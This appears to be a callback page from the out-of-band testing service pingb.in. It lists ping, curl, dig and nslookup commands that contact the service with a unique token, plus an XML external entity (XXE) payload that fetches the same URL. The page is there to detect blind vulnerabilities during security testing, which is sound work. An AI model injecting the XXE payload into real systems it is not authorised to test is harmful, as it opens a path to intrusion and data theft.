$ ping -c1 -p 00e5d287cf072130682785d121de3f00 pingb.in
 
$ curl pingb.in/p/e5d287cf072130682785d121de3f
 
$ dig e5d287cf072130682785d121de3f @pingb.in
 
$ dig e5d287cf072130682785d121de3f.ns.pingb.in
 
C:\> nslookup e5d287cf072130682785d121de3f pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/e5d287cf072130682785d121de3f">]>
    <foo>&xxe;</foo>
 
Waiting for ping...